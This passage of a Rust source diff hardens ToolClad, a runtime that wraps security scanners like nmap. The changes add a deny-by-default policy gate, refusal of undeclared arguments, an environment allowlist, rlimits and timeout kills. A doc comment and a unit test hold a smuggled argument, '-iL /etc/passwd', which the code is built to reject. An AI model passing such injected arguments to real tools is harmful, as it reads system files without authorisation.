.map_err(|e| ToolCladError::ExecutionError(format!("JSONL parse failed: {e}")))?; - Ok(serde_json::json!(lines)) + .map_err(|e| format!("JSONL parse failed: {e}"))?; + Ok(serde_json::json!({ "parsed_output": lines })) } "builtin:csv" => { let mut lines = raw.lines(); @@ -652,50 +1209,201 @@ fn parse_output(manifest: &Manifest, raw: &str) -> Result parse_xml_to_json(raw), + "builtin:xml" => parse_xml_to_json(raw).map_err(|e| match e { + ToolCladError::ExecutionError(m) => m, + other => other.to_string(), + }), "builtin:text" => Ok(serde_json::json!({"raw_output": raw})), - other => { - // Custom parser: not supported in reference implementation. - Ok(serde_json::json!({ - "raw_output": raw, - "parser_note": format!("custom parser '{}' not executed in reference impl", other) - })) - } + // Refused at load; repeated for a manifest built in code. + other => Err(format!( + "custom output parsers are not supported by the reference runtimes (parser = \"{other}\")" + )), } } -/// Validate all arguments, build the command, execute it, and return an evidence envelope. -pub fn execute( +/// Refuse a supplied argument name the manifest does not declare in `[args]`. +/// +/// An undeclared argument never reaches the command, but dropping it without +/// a word lets a caller believe it took effect: `extra_flags=-iL /etc/passwd` +/// against a manifest that no longer declares `extra_flags` would otherwise +/// run successfully and say nothing. +fn check_declared_args( manifest: &Manifest, args: &HashMap, -) -> Result { - // Phase 1: Validate all arguments. +) -> Result<(), ToolCladError> { + let mut unknown: Vec<&str> = args + .keys() + .filter(|name| !manifest.args.contains_key(*name)) + .map(String::as_str) + .collect(); + if unknown.is_empty() { + return Ok(()); + } + unknown.sort_unstable(); + let mut declared: Vec<&str> = manifest.args.keys().map(String::as_str).collect(); + declared.sort_unstable(); + Err(ToolCladError::ValidationError(format!( + "unknown argument '{}' (declared arguments: {})", + unknown[0], + declared.join(", ") + ))) +} + +/// The scope for one call: the one cached at load, else — for a manifest +/// built in code, or one whose scope file appeared after load — discovered +/// now from the manifest's source directory, once, when any argument sets +/// `scope_check`. +fn call_scope(manifest: &Manifest) -> Result>, ToolCladError> { + if let Some(ref scope) = manifest.scope { + return Ok(Some(Cow::Borrowed(scope))); + } + if manifest.args.values().any(|d| d.scope_check) { + return Ok(crate::scope::discover_scope(manifest.source_dir.as_deref())?.map(Cow::Owned)); + } + Ok(None) +} + +/// The policy gate's verdict on one call. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum GateDecision { + Allow, + Deny(String), +} + +/// The policy gate seam: consulted after argument validation (it sees the +/// cleaned values) and before anything is spawned, any HTTP request is made +/// or any MCP envelope is built. A denial fails the call with +/// [`ToolCladError::PolicyDenied`] (`policy gate denied: `). +/// +/// ToolClad does not evaluate policy. `[tool.cedar]` declares the resource +/// and action for an embedding runtime's Cedar evaluator; wiring that +/// evaluator into a gate passed to [`execute_with_gate`] is the embedder's +/// job. +pub type Gate<'a> = dyn Fn(&Manifest, &HashMap) -> GateDecision + 'a; + +/// Deny-by-default gate: refuses a manifest that sets `human_approval = true` +/// or has `risk_tier` `high` or `critical`; allows everything else. +pub fn default_gate(manifest: &Manifest, _validated: &HashMap) -> GateDecision { + if manifest.tool.human_approval { + return GateDecision::Deny( + "manifest requires human approval (human_approval = true)".to_string(), + ); + } + let tier = manifest.tool.risk_tier.as_str(); + if tier == "high" || tier == "critical" { + return GateDecision::Deny(format!("risk_tier '{tier}' requires explicit approval")); + } + GateDecision::Allow +} + +/// Allow-all gate, for a caller that has obtained approval itself. +pub fn approve_gate(_manifest: &Manifest, _validated: &HashMap) -> GateDecision { + GateDecision::Allow +} + +/// Validate every declared argument (defaults included) for a call, refusing +/// undeclared names and missing required values. One routine for every +/// backend. +fn validate_call_args( + manifest: &Manifest, + args: &HashMap, +) -> Result, ToolCladError> { + check_declared_args(manifest, args)?; + + // `allow_whitespace` is honored only when the manifest declared `exec` + // directly; a compiled template stays strict, and so does the `executor` + // escape hatch (it takes precedence over exec/template and its argument + // handling is opaque to us). A default is validated like a supplied value + // (it was type-checked at load; the scope check can only run here). + let exec_mode = manifest.command.executor.is_none() && manifest.command.exec_was_declared; + let scope = call_scope(manifest)?; + let scope = scope.as_deref(); let mut validated = HashMap::new(); for (name, def) in &manifest.args { if let Some(val) = args.get(name) { - let clean = validate_arg(name, def, val)?; + let clean = validate_arg_with_custom_types_in( + name, + def, + val, + &manifest.custom_types, + exec_mode, + scope, + )?; validated.insert(name.clone(), clean); - } else if def.required { - if let Some(ref default_val) = def.default { - validated.insert(name.clone(), toml_value_to_string(default_val)); - } else { - return Err(ToolCladError::ValidationError(format!( - "missing required argument '{name}'" - ))); - } } else if let Some(ref default_val) = def.default { - validated.insert(name.clone(), toml_value_to_string(default_val)); + let dv = toml_value_to_string(default_val); + let clean = validate_arg_with_custom_types_in( + name, + def, + &dv, + &manifest.custom_types, + exec_mode, + scope, + )?; + validated.insert(name.clone(), clean); + } else if def.required { + return Err(ToolCladError::ValidationError(format!( + "missing required argument '{name}'" + ))); } } + Ok(validated) +} - // Route to HTTP or MCP backend if configured. - if manifest.http.is_some() { - return execute_http(manifest, &validated); +/// The declared, unexpanded command for the evidence envelope: the `exec` +/// array as written joined by single spaces, or a legacy `template` as +/// written. Executor-injected paths and argument values never appear. +fn declared_command(manifest: &Manifest) -> String { + let cmd = &manifest.command; + if !cmd.exec_was_declared { + if let Some(ref t) = cmd.template { + return t.clone(); + } + } + cmd.exec.as_ref().map(|e| e.join(" ")).unwrap_or_default() +} + +/// Validate, consult [`default_gate`], execute, and return an evidence +/// envelope. A `human_approval` or high/critical-risk manifest is denied; +/// use [`execute_approved`] or [`execute_with_gate`] once approval exists. +pub fn execute( + manifest: &Manifest, + args: &HashMap, +) -> Result { + execute_with_gate(manifest, args, &default_gate) +} + +/// [`execute`] with the allow-all gate. +pub fn execute_approved( + manifest: &Manifest, + args: &HashMap, +) -> Result { + execute_with_gate(manifest, args, &approve_gate) +} + +/// Validate all arguments, consult `gate`, then build the command, execute +/// it, and return an evidence envelope. +pub fn execute_with_gate( + manifest: &Manifest, + args: &HashMap, + gate: &Gate<'_>, +) -> Result { + // Phase 1: Validate all arguments. + let validated = validate_call_args(manifest, args)?; + + // Phase 1b: The policy gate, before any backend acts. + if let GateDecision::Deny(reason) = gate(manifest, &validated) { + return Err(ToolCladError::PolicyDenied(reason)); + } + + // Route to HTTP or MCP backend if configured. + if manifest.http.is_some() { + return execute_http(manifest, &validated); } if manifest.mcp.is_some() { return execute_mcp_proxy(manifest, &validated); @@ -711,56 +1419,71 @@ pub fn execute( )); } - let scan_id = format!( - "{}-{}", - chrono::Utc::now().timestamp(), - &uuid::Uuid::new_v4().to_string()[..5] - ); + let paths = EvidencePaths::new(manifest, new_scan_id()); let timestamp = chrono::Utc::now().to_rfc3339(); - let start = Instant::now(); - // Phase 2: Build and execute command. - let (cmd_string, stdout_text, stderr_text, exit_code, status_str) = + // Phase 2: Build the command, then prepare the evidence directories and + // the per-invocation scratch directory the child runs in. + let (program, argv_rest, extra_env, cmd_string) = if let Some(ref executor_path) = manifest.command.executor { // Escape hatch: run custom executor with env vars. // SECURITY: Args are passed as env vars, not interpolated into shell command. - let mut cmd = Command::new(executor_path); - for (k, v) in &validated { - cmd.env(format!("TOOLCLAD_ARG_{}", k.to_uppercase()), v); - } - cmd.env("TOOLCLAD_SCAN_ID", &scan_id); - cmd.env("TOOLCLAD_TOOL_NAME", &manifest.tool.name); - - let cmd_display = format!("{executor_path} (custom executor)"); - run_command_with_timeout(cmd, manifest.tool.timeout_seconds, &cmd_display)? - } else if manifest.command.exec.is_some() { - // PREFERRED: Array-based command construction maps directly to execve. - // No string→split round-trip; values with spaces are safe. - let argv = build_command_argv(manifest, &validated)?; - let cmd_display = argv.join(" "); - let mut cmd = Command::new(&argv[0]); - cmd.args(&argv[1..]); - - run_command_with_timeout(cmd, manifest.tool.timeout_seconds, &cmd_display)? + let mut env: Vec<(String, String)> = validated + .iter() + .map(|(k, v)| (format!("TOOLCLAD_ARG_{}", k.to_uppercase()), v.clone())) + .collect(); + env.push(("TOOLCLAD_SCAN_ID".to_string(), paths.scan_id.clone())); + env.push(("TOOLCLAD_TOOL_NAME".to_string(), manifest.tool.name.clone())); + env.push(( + "TOOLCLAD_EVIDENCE_DIR".to_string(), + path_string(&paths.evidence_dir), + )); + env.push(( + "TOOLCLAD_OUTPUT_DIR".to_string(), + path_string(&paths.output_dir), + )); + let display = format!("{executor_path} (custom executor)"); + (executor_path.clone(), Vec::new(), env, display) } else { - // LEGACY: String template → shlex split → execve. - // Use `exec` for new manifests to avoid quote/space edge cases. - let cmd_string = build_command(manifest, &validated)?; - let argv = shlex::split(&cmd_string).ok_or_else(|| { - ToolCladError::CommandError( - "failed to parse command string (mismatched quotes)".to_string(), - ) - })?; - if argv.is_empty() { - return Err(ToolCladError::CommandError( - "command template produced empty command".to_string(), - )); - } - let mut cmd = Command::new(&argv[0]); - cmd.args(&argv[1..]); - - run_command_with_timeout(cmd, manifest.tool.timeout_seconds, &cmd_string)? + // Array-based command construction maps directly to execve. A + // `template` was tokenized at load into the same array, so there is + // no string→split round-trip anywhere on the spawn path. + let mut argv = build_argv_with(manifest, &validated, &paths)?; + let display = declared_command(manifest); + let rest = argv.split_off(1); + (argv.remove(0), rest, Vec::new(), display) }; + let program = resolve_program(&program)?; + + create_private_dir(&paths.evidence_dir, true)?; + create_private_dir(&paths.output_dir, true)?; + let work_dir = paths.work_dir(); + create_private_dir(&work_dir, false)?; + + let mut cmd = Command::new(&program); + cmd.args(&argv_rest).current_dir(&work_dir); + apply_child_env(&mut cmd, &extra_env); + #[cfg(unix)] + apply_child_limits(&mut cmd, manifest.tool.limits.as_ref()); + + let start = Instant::now(); + let run = run_command_with_timeout( + cmd, + manifest.tool.timeout_seconds, + max_output_bytes(manifest), + ); + // Remove the scratch directory only when the tool left nothing in it: a + // file there is evidence. + let _ = std::fs::remove_dir(&work_dir); + let RunOutput { + stdout: stdout_text, + stderr: stderr_text, + exit_code, + status: mut status_str, + timed_out, + truncated, + } = run?; + let scan_id = paths.scan_id; let duration_ms = start.elapsed().as_millis() as u64; @@ -771,20 +1494,19 @@ pub fn execute( format!("sha256:{:x}", hasher.finalize()) }; - // Phase 3b: Parse output. - let parsed = parse_output(manifest, &stdout_text)?; - - // Phase 3c: Validate against output schema if defined. - // (basic type check — full JSON Schema validation would require a dedicated crate) - let has_custom_schema = manifest - .output - .as_ref() - .is_some_and(|o| o.schema != serde_json::json!({"type": "object"})); - let results = if has_custom_schema { - // Schema is declared, use parsed output. - parsed - } else { + // Phase 3b: Parse and schema-check the output, failing closed. A timed-out + // run's output is partial, so it is returned raw rather than parsed. A + // failed run keeps its error status; its results are still checked. + let results = if timed_out { serde_json::json!({"raw_output": stdout_text}) + } else { + let (override_status, results) = checked_results(manifest, &stdout_text); + if let Some(st) = override_status { + if status_str == "success" { + status_str = st.to_string(); + } + } + results }; Ok(EvidenceEnvelope { @@ -799,110 +1521,459 @@ pub fn execute( exit_code, stderr: stderr_text, results, + output_truncated: truncated, }) } -/// Run a Command with a timeout, returning (command_string, stdout, stderr, exit_code, status). -/// -/// Uses process groups on Unix so that timeout kills can terminate all child -/// processes, not just the top-level shell/binary. -fn run_command_with_timeout( - mut cmd: Command, - timeout_seconds: u64, - cmd_display: &str, -) -> Result<(String, String, String, i32, String), ToolCladError> { - cmd.stdout(Stdio::piped()).stderr(Stdio::piped()); +/// The fixed `PATH` every child gets and `argv[0]` is resolved against. Never +/// inherited: an inherited `PATH` is how a renamed binary earlier in the path +/// wins. +pub const CHILD_PATH: &str = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; - // SECURITY: Create a new process group so we can kill all children on timeout. - #[cfg(unix)] - cmd.process_group(0); +/// Parent variables copied into the child, only when set. +const CHILD_ENV_PASSTHROUGH: &[&str] = &["HOME", "LANG", "LC_ALL", "TZ", "TERM"]; - let mut child = cmd - .spawn() - .map_err(|e| ToolCladError::ExecutionError(format!("failed to spawn process: {e}")))?; +/// Default `SIGTERM` → `SIGKILL` grace period, overridable with +/// `TOOLCLAD_KILL_GRACE_MS`. +const DEFAULT_KILL_GRACE_MS: u64 = 2000; + +/// A fresh scan id: `-<32 hex chars>` (128 random bits from the +/// OS CSPRNG via `uuid`). +fn new_scan_id() -> String { + format!( + "{}-{}", + chrono::Utc::now().timestamp(), + uuid::Uuid::new_v4().simple() + ) +} + +fn path_string(p: &Path) -> String { + p.to_string_lossy().into_owned() +} - if timeout_seconds > 0 { - let pid = child.id(); +/// The evidence locations of one invocation. +#[derive(Debug, Clone)] +struct EvidencePaths { + scan_id: String, + /// `TOOLCLAD_EVIDENCE_DIR`, else `/toolclad-evidence`. + evidence_dir: PathBuf, + /// `[tool.evidence] output_dir` with `{evidence_dir}`/`{scan_id}` + /// substituted, else `/-`. + output_dir: PathBuf, + /// `/scan.`, `ext` from `output.format`. + output_file: PathBuf, +} + +impl EvidencePaths { + fn new(manifest: &Manifest, scan_id: String) -> Self { + let evidence_dir = std::env::var_os("TOOLCLAD_EVIDENCE_DIR") + .filter(|v| !v.is_empty()) + .map(PathBuf::from) + .unwrap_or_else(|| std::env::temp_dir().join("toolclad-evidence")); + let output_dir = match manifest.tool.evidence.as_ref() { + Some(ev) if !ev.output_dir.is_empty() => PathBuf::from( + ev.output_dir + .replace("{evidence_dir}", &path_string(&evidence_dir)) + .replace("{scan_id}", &scan_id), + ), + _ => evidence_dir.join(format!("{scan_id}-{}", manifest.tool.name)), + }; + let ext = match manifest.output.as_ref().map(|o| o.format.as_str()) { + Some("xml") => "xml", + Some("json") => "json", + Some("csv") => "csv", + Some("jsonl") => "jsonl", + _ => "txt", + }; + let output_file = output_dir.join(format!("scan.{ext}")); + Self { + scan_id, + evidence_dir, + output_dir, + output_file, + } + } + + /// The child's working directory: `/-work`. + fn work_dir(&self) -> PathBuf { + self.evidence_dir.join(format!("{}-work", self.scan_id)) + } +} - // Take stdout/stderr handles before polling to avoid deadlock. - let stdout_pipe = child.stdout.take(); - let stderr_pipe = child.stderr.take(); +/// Create a directory with mode 0700 and refuse a symlink in its place. +/// +/// `existing_ok` allows a directory that is already there (the evidence root, +/// a fixed `output_dir`); otherwise the directory must be new (the scratch +/// directory). The leaf is checked with `lstat`, so a symlink pre-planted in +/// a shared temp directory cannot redirect the tool's writes. +fn create_private_dir(path: &Path, existing_ok: bool) -> Result<(), ToolCladError> { + let shown = path.display(); + let mut builder = std::fs::DirBuilder::new(); + builder.recursive(existing_ok); + #[cfg(unix)] + { + use std::os::unix::fs::DirBuilderExt; + builder.mode(0o700); + } + builder.create(path).map_err(|e| { + ToolCladError::ExecutionError(format!("cannot create directory '{shown}': {e}")) + })?; + let meta = std::fs::symlink_metadata(path).map_err(|e| { + ToolCladError::ExecutionError(format!("cannot inspect directory '{shown}': {e}")) + })?; + if !meta.file_type().is_dir() { + return Err(ToolCladError::ExecutionError(format!( + "refusing evidence directory '{shown}': it is a symlink or not a directory" + ))); + } + #[cfg(unix)] + { + use std::os::unix::fs::MetadataExt; + // SAFETY: geteuid has no preconditions and cannot fail. + let euid = unsafe { libc::geteuid() }; + if meta.uid() != euid { + return Err(ToolCladError::ExecutionError(format!( + "refusing evidence directory '{shown}': owned by uid {}, not the runtime's uid {euid}", + meta.uid() + ))); + } + } + Ok(()) +} - // Read stdout/stderr in separate threads to avoid pipe buffer deadlock. - let stdout_handle = std::thread::spawn(move || { - let mut buf = String::new(); - if let Some(mut pipe) = stdout_pipe { - use std::io::Read; - let _ = pipe.read_to_string(&mut buf); +/// Resolve `argv[0]` to the file that will be executed: as given when it +/// contains a `/`, otherwise the first executable regular file of that name +/// on [`CHILD_PATH`]. +fn resolve_program(name: &str) -> Result { + if name.contains('/') { + return Ok(PathBuf::from(name)); + } + if !name.is_empty() { + for dir in CHILD_PATH.split(':') { + let candidate = Path::new(dir).join(name); + if let Ok(meta) = std::fs::metadata(&candidate) { + #[cfg(unix)] + let executable = { + use std::os::unix::fs::PermissionsExt; + meta.permissions().mode() & 0o111 != 0 + }; + #[cfg(not(unix))] + let executable = true; + if meta.is_file() && executable { + return Ok(candidate); + } } - buf - }); - let stderr_handle = std::thread::spawn(move || { - let mut buf = String::new(); - if let Some(mut pipe) = stderr_pipe { - use std::io::Read; - let _ = pipe.read_to_string(&mut buf); + } + } + Err(ToolCladError::ExecutionError(format!( + "binary '{name}' not found on PATH ({CHILD_PATH})" + ))) +} + +/// Clear the child's environment and rebuild it from the allowlist: the fixed +/// `PATH`, `HOME`/`LANG`/`LC_ALL`/`TZ`/`TERM` when set in the parent, and +/// `extra` (the executor hatch's `TOOLCLAD_*` variables). A +/// `TOOLCLAD_SECRET_*` name is dropped even if it reaches `extra`, so no edit +/// to the allowlist can hand a secret to a child. +fn apply_child_env(cmd: &mut Command, extra: &[(String, String)]) { + cmd.env_clear(); + for (k, v) in child_env(extra) { + cmd.env(k, v); + } +} + +fn child_env(extra: &[(String, String)]) -> Vec<(String, std::ffi::OsString)> { + let mut env = vec![("PATH".to_string(), CHILD_PATH.into())]; + for name in CHILD_ENV_PASSTHROUGH { + if let Some(v) = std::env::var_os(name) { + env.push((name.to_string(), v)); + } + } + for (k, v) in extra { + env.push((k.clone(), v.into())); + } + env.retain(|(k, _)| !k.starts_with("TOOLCLAD_SECRET_")); + env +} + +/// The rlimits applied to the child: core dumps off, `FSIZE` 1 GiB, `NOFILE` +/// 1024 (each overridable in `[tool.limits]`), plus `NPROC`, `AS` and `CPU` +/// only when declared. `RLIMIT_AS` stays off by default because it breaks +/// tools that reserve large virtual mappings. `RLIMIT_NPROC` stays off by +/// default because Linux counts it against every task the *user* owns, not +/// the tool's own tree: on a busy host any fixed default stops a threaded +/// tool from creating its first thread. +#[cfg(unix)] +fn child_rlimits(limits: Option<&ToolLimits>) -> Vec<(RlimitResource, libc::rlim_t)> { + let l = limits.cloned().unwrap_or_default(); + let mut out: Vec<(RlimitResource, libc::rlim_t)> = vec![ + (libc::RLIMIT_CORE, 0), + ( + libc::RLIMIT_FSIZE, + l.fsize_bytes.unwrap_or(1 << 30) as libc::rlim_t, + ), + ( + libc::RLIMIT_NOFILE, + l.nofile.unwrap_or(1024) as libc::rlim_t, + ), + ]; + if let Some(v) = l.nproc { + out.push((libc::RLIMIT_NPROC, v as libc::rlim_t)); + } + if let Some(v) = l.address_space_bytes { + out.push((libc::RLIMIT_AS, v as libc::rlim_t)); + } + if let Some(v) = l.cpu_seconds { + out.push((libc::RLIMIT_CPU, v as libc::rlim_t)); + } + out +} + +/// The rlimit resource type differs between libcs (`c_uint` on glibc, +/// `c_int` elsewhere); take it from the constants themselves. +#[cfg(all(target_os = "linux", target_env = "gnu"))] +type RlimitResource = libc::__rlimit_resource_t; +#[cfg(all(unix, not(all(target_os = "linux", target_env = "gnu"))))] +type RlimitResource = libc::c_int; + +/// Set umask 0077 and the rlimits in the child between `fork` and `exec`. +#[cfg(unix)] +fn apply_child_limits(cmd: &mut Command, limits: Option<&ToolLimits>) { + let rlimits = child_rlimits(limits); + // SAFETY: the closure runs in the forked child before exec, where only + // async-signal-safe operations are allowed. It reads a Vec built before + // the fork (no allocation) and makes only umask/getrlimit/setrlimit + // system calls; an error is reported from errno without allocating. + unsafe { + cmd.pre_exec(move || { + libc::umask(0o077); + for &(resource, value) in &rlimits { + let mut cur = libc::rlimit { + rlim_cur: 0, + rlim_max: 0, + }; + if libc::getrlimit(resource, &mut cur) != 0 { + return Err(std::io::Error::last_os_error()); + } + // Never try to raise the hard limit (that needs privilege). + let v = value.min(cur.rlim_max); + let new = libc::rlimit { + rlim_cur: v, + rlim_max: v, + }; + if libc::setrlimit(resource, &new) != 0 { + return Err(std::io::Error::last_os_error()); + } } - buf + Ok(()) }); + } +} - // Poll child with timeout. - let deadline = std::time::Instant::now() + std::time::Duration::from_secs(timeout_seconds); - let status = loop { - match child.try_wait() { - Ok(Some(status)) => break status, - Ok(None) => { - if std::time::Instant::now() >= deadline { - // Timeout! Kill the entire process group. - #[cfg(unix)] - unsafe { - libc::killpg(pid as i32, libc::SIGKILL); +/// `TOOLCLAD_KILL_GRACE_MS` as a non-negative integer, else the default. +fn kill_grace() -> Duration { + let ms = std::env::var("TOOLCLAD_KILL_GRACE_MS") + .ok() + .and_then(|v| v.trim().parse::().ok()) + .unwrap_or(DEFAULT_KILL_GRACE_MS); + Duration::from_millis(ms) +} + +/// The outcome of one spawned run. +#[derive(Debug)] +struct RunOutput { + stdout: String, + stderr: String, + exit_code: i32, + status: String, + timed_out: bool, + /// stdout or stderr exceeded the cap. + truncated: bool, +} + +/// One captured pipe: the bytes kept (at most the cap) and whether more +/// arrived. +#[derive(Default)] +struct Capture { + bytes: Vec, + truncated: bool, +} + +/// Read a pipe into a shared buffer, keeping at most `max` bytes, so partial +/// output stays available even if the reader never finishes; signal `done` +/// at EOF. Past the cap the pipe is drained and discarded, so the child never +/// blocks on a full pipe. +fn spawn_reader( + pipe: Option, + done: mpsc::Sender<()>, + max: usize, +) -> Arc> { + let buf = Arc::new(Mutex::new(Capture::default())); + let sink = Arc::clone(&buf); + std::thread::spawn(move || { + if let Some(mut pipe) = pipe { + let mut limited = (&mut pipe).take(max as u64 + 1); + let mut chunk = [0u8; 8192]; + loop { + match limited.read(&mut chunk) { + Ok(0) => break, + Ok(n) => { + let mut cap = sink.lock().unwrap_or_else(|e| e.into_inner()); + let room = max.saturating_sub(cap.bytes.len()); + if n > room { + cap.truncated = true; } - #[cfg(not(unix))] - let _ = child.kill(); - let _ = child.wait(); - return Err(ToolCladError::ExecutionError(format!( - "process timed out after {timeout_seconds}s" - ))); + cap.bytes.extend_from_slice(&chunk[..n.min(room)]); } - std::thread::sleep(std::time::Duration::from_millis(50)); + Err(e) if e.kind() == std::io::ErrorKind::Interrupted => continue, + Err(_) => break, } - Err(e) => return Err(ToolCladError::ExecutionError(format!("wait error: {e}"))), } - }; + let _ = std::io::copy(&mut pipe, &mut std::io::sink()); + } + let _ = done.send(()); + }); + buf +} - let stdout = stdout_handle.join().unwrap_or_default(); - let stderr = stderr_handle.join().unwrap_or_default(); - let exit_code = status.code().unwrap_or(-1); - let status_str = if status.success() { - "success".to_string() - } else { - format!("error (exit code: {exit_code}): {stderr}") - }; - Ok(( - cmd_display.to_string(), - stdout, - stderr, - exit_code, - status_str, - )) - } else { - let output = child - .wait_with_output() - .map_err(|e| ToolCladError::ExecutionError(format!("process error: {e}")))?; +/// The captured text (capped) and whether the pipe overflowed. +fn take_text(buf: &Arc>, max: usize) -> (String, bool) { + let cap = std::mem::take(&mut *buf.lock().unwrap_or_else(|e| e.into_inner())); + (capped_text(cap.bytes, max), cap.truncated) +} - let stdout = String::from_utf8_lossy(&output.stdout).to_string(); - let stderr = String::from_utf8_lossy(&output.stderr).to_string(); - let exit_code = output.status.code().unwrap_or(-1); +#[cfg(unix)] +fn signal_group(pid: u32, sig: libc::c_int) { + // SAFETY: killpg only sends a signal; the child was started with + // `process_group(0)`, so its pid is its process-group id. An error (the + // group is already gone) is harmless. + unsafe { + libc::killpg(pid as libc::pid_t, sig); + } +} - let status = if output.status.success() { - "success".to_string() - } else { - format!("error (exit code: {exit_code}): {stderr}") - }; +/// Spawn `cmd` with stdin on `/dev/null`, capture stdout/stderr, and enforce +/// the deadline. +/// +/// The child leads a new process group. On the deadline the group gets +/// `SIGTERM`, then `SIGKILL` once the grace period (`TOOLCLAD_KILL_GRACE_MS`) +/// passes, and the run is reported as `"timeout"` with exit code -1 and the +/// output captured so far. The deadline also covers the pipes: a background +/// process that keeps stdout open after the tool exits cannot hold the call. +fn run_command_with_timeout( + mut cmd: Command, + timeout_seconds: u64, + max_bytes: usize, +) -> Result { + cmd.stdin(Stdio::null()) + .stdout(Stdio::piped()) + .stderr(Stdio::piped()); + + // SECURITY: Create a new process group so we can kill all children on timeout. + #[cfg(unix)] + cmd.process_group(0); - Ok((cmd_display.to_string(), stdout, stderr, exit_code, status)) + let mut child = cmd + .spawn() + .map_err(|e| ToolCladError::ExecutionError(format!("failed to spawn process: {e}")))?; + let pid = child.id(); + let wait_err = |e: std::io::Error| ToolCladError::ExecutionError(format!("wait error: {e}")); + + // Read stdout/stderr in separate threads to avoid pipe buffer deadlock. + let (done_tx, done_rx) = mpsc::channel(); + let stdout_buf = spawn_reader(child.stdout.take(), done_tx.clone(), max_bytes); + let stderr_buf = spawn_reader(child.stderr.take(), done_tx, max_bytes); + + let deadline = Instant::now() + Duration::from_secs(timeout_seconds); + let poll = Duration::from_millis(20); + let mut status = None; + let mut readers_done = 0; + + // Wait for the tool to exit and both pipes to close, up to the deadline. + while Instant::now() < deadline { + if status.is_none() { + status = child.try_wait().map_err(wait_err)?; + } + while done_rx.try_recv().is_ok() { + readers_done += 1; + } + if status.is_some() && readers_done == 2 { + break; + } + std::thread::sleep(poll); + } + let timed_out = !(status.is_some() && readers_done == 2); + + if timed_out { + // Kill sequence: SIGTERM to the group, a grace period, then SIGKILL. + // A child that calls setsid() leaves the group and escapes this in + // every language, so this is cleanup rather than containment; + // escape-proof cleanup needs a cgroup, which is out of scope. + #[cfg(unix)] + { + signal_group(pid, libc::SIGTERM); + let grace_end = Instant::now() + kill_grace(); + while Instant::now() < grace_end { + if status.is_none() { + status = child.try_wait().map_err(wait_err)?; + } + while done_rx.try_recv().is_ok() { + readers_done += 1; + } + if status.is_some() && readers_done == 2 { + break; + } + std::thread::sleep(poll); + } + // The rest of the group may outlive the leader; kill it either way. + signal_group(pid, libc::SIGKILL); + } + #[cfg(not(unix))] + { + let _ = pid; + let _ = child.kill(); + } + if status.is_none() { + child.wait().map_err(wait_err)?; + } + // Give the readers a moment to drain what the pipes still hold; a + // process that escaped the group may keep them open, so do not wait + // for it. + let drain_end = Instant::now() + Duration::from_millis(500); + while readers_done < 2 && Instant::now() < drain_end { + if done_rx.recv_timeout(poll).is_ok() { + readers_done += 1; + } + } + let (stdout, out_trunc) = take_text(&stdout_buf, max_bytes); + let (stderr, err_trunc) = take_text(&stderr_buf, max_bytes); + return Ok(RunOutput { + stdout, + stderr, + exit_code: -1, + status: "timeout".to_string(), + timed_out: true, + truncated: out_trunc || err_trunc, + }); } + + let status = status.expect("exit status present when not timed out"); + let (stdout, out_trunc) = take_text(&stdout_buf, max_bytes); + let (stderr, err_trunc) = take_text(&stderr_buf, max_bytes); + let exit_code = status.code().unwrap_or(-1); + let status = if status.success() { + "success".to_string() + } else { + format!("error (exit code: {exit_code}): {stderr}") + }; + Ok(RunOutput { + stdout, + stderr, + exit_code, + status, + timed_out: false, + truncated: out_trunc || err_trunc, + }) } /// Dry-run: validate args and build command without executing. @@ -910,13 +1981,25 @@ pub fn dry_run( manifest: &Manifest, args: &HashMap, ) -> Result { - // Validate all arguments. + check_declared_args(manifest, args)?; + + // Validate all arguments (strict for the executor escape hatch). + let exec_mode = manifest.command.executor.is_none() && manifest.command.exec_was_declared; + let scope = call_scope(manifest)?; + let scope = scope.as_deref(); let mut validated = HashMap::new(); let mut validations = Vec::new(); for (name, def) in &manifest.args { if let Some(val) = args.get(name) { - match validate_arg(name, def, val) { + match validate_arg_with_custom_types_in( + name, + def, + val, + &manifest.custom_types, + exec_mode, + scope, + ) { Ok(clean) => { validations.push(format!("{name}={clean} ({}: OK)", def.type_name)); validated.insert(name.clone(), clean); @@ -926,29 +2009,28 @@ pub fn dry_run( return Err(e); } } - } else if def.required { - if let Some(ref default_val) = def.default { - let dv = toml_value_to_string(default_val); - validated.insert(name.clone(), dv.clone()); - validations.push(format!("{name}={dv} (default)")); - } else { - return Err(ToolCladError::ValidationError(format!( - "missing required argument '{name}'" - ))); - } } else if let Some(ref default_val) = def.default { - let dv = toml_value_to_string(default_val); - validated.insert(name.clone(), dv.clone()); + let dv = validate_arg_with_custom_types_in( + name, + def, + &toml_value_to_string(default_val), + &manifest.custom_types, + exec_mode, + scope, + )?; validations.push(format!("{name}={dv} (default)")); + validated.insert(name.clone(), dv); + } else if def.required { + return Err(ToolCladError::ValidationError(format!( + "missing required argument '{name}'" + ))); } } let command = if let Some(ref exec) = manifest.command.executor { format!("{exec} (custom executor)") - } else if manifest.command.exec.is_some() { - build_command_argv(manifest, &validated)?.join(" ") } else { - build_command(manifest, &validated)? + build_command_argv(manifest, &validated)?.join(" ") }; Ok(DryRunResult { @@ -988,8 +2070,12 @@ mod tests { risk_tier: "low".to_string(), human_approval: false, dispatch: "exec".to_string(), + mode: None, + network_egress: false, + allow_interpreter: false, cedar: None, evidence: None, + limits: None, }, args: HashMap::from([( "target".to_string(), @@ -1010,15 +2096,20 @@ mod tests { parser: None, envelope: true, schema: serde_json::json!({"type": "object"}), + max_bytes: 8_388_608, }), http: None, mcp: None, session: None, browser: None, + source_dir: None, + scope: None, + custom_types: HashMap::new(), } } #[test] + #[allow(deprecated)] fn test_build_command_simple() { let m = minimal_manifest(); let mut args = HashMap::new(); @@ -1028,6 +2119,7 @@ mod tests { } #[test] + #[allow(deprecated)] fn test_build_command_with_defaults() { let mut m = minimal_manifest(); m.command.template = Some("echo --rate {max_rate} {target}".to_string()); @@ -1042,6 +2134,7 @@ mod tests { } #[test] + #[allow(deprecated)] fn test_build_command_with_mappings() { let mut m = minimal_manifest(); m.command.template = Some("nmap {_scan_type_flags} {target}".to_string()); @@ -1100,6 +2193,38 @@ mod tests { )); } + #[test] + fn test_undeclared_argument_refused_at_call_time() { + // `extra_flags` is not in [args]; it must be refused, not dropped. + let m = minimal_manifest(); + let mut args = HashMap::new(); + args.insert("target".to_string(), "10.0.1.1".to_string()); + args.insert("extra_flags".to_string(), "-iL /etc/passwd".to_string()); + + let err = dry_run(&m, &args).unwrap_err().to_string(); + assert_eq!( + err, + "validation error: unknown argument 'extra_flags' (declared arguments: target)" + ); + let err = execute(&m, &args).unwrap_err().to_string(); + assert!( + err.contains("unknown argument 'extra_flags'"), + 